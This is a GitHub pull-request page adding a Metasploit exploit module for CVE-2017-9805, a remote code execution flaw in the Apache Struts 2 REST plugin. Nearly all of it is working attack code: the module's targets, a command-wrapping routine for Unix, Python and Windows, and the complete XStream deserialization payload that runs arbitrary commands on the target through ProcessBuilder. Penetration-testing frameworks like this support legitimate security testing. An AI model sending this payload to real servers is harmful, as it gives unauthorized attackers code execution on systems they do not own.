Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Apache Struts 2 REST Plugin XStream RCE #8924

Merged
merged 3 commits into from Sep 8, 2017
Merged
Changes from all commits
Commits
File filter...
Filter file types
Jump to…
Jump to file or symbol
Failed to load files and symbols.

Always

Just for now

@@ -0,0 +1,193 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 REST Plugin XStream RCE',
'Description' => %q{
Apache Struts versions 2.5 through 2.5.12 using the REST plugin are
vulnerable to a Java deserialization attack in the XStream library.
},
'Author' => [
'Man Yue Mo', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2017-9805'],
['URL', 'https://struts.apache.org/docs/s2-052.html'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
['URL', 'https://github.com/mbechler/marshalsec']
],
'DisclosureDate' => 'Sep 5 2017',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'python', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD
],
['Python (In-Memory)',
'Platform' => 'python',
'Arch' => ARCH_PYTHON
],
=begin this stuff that doesn't work yet
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
],
=end
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64]
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
]
],
'DefaultTarget' => 0
))

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])
])
end

def check
if execute_command(random_crap)
CheckCode::Appears
else
CheckCode::Safe
end
end

def exploit
case target.name
when /Unix/, /Python/, /PowerShell/
execute_command(payload.encoded)
else
execute_cmdstager
end
end

#
# Exploit methods
#

def execute_command(cmd, opts = {})
cmd = case target.name
when /Unix/, /Linux/
%W{/bin/sh -c #{cmd}}
when /Python/
%W{python -c #{cmd}}
when /PowerShell/
# This doesn't work yet
%W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
when /Windows/
%W{cmd.exe /c #{cmd}}
end

# Encode each command argument with XML entities
cmd.map! { |arg| arg.encode(xml: :text) }

res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'ctype' => 'application/xml',
'data' => xstream_payload(cmd)
)

check_response(res) || fail_with(Failure::UnexpectedReply, res.inspect)
end

# java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO
def xstream_payload(cmd)
# XXX: <spillLength> and <read> need to be removed for Windows
<<EOF
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>#{cmd.join('</string><string>')}</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>#{random_crap}</name>
</filter>
<next class="string">#{random_crap}</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
EOF
end

#
# Utility methods
#

def check_response(res)
res && res.code == 500 && res.body.include?(error_string)
end

def error_string
'java.lang.String cannot be cast to java.security.Provider$Service'
end

def random_crap
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
end

end
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.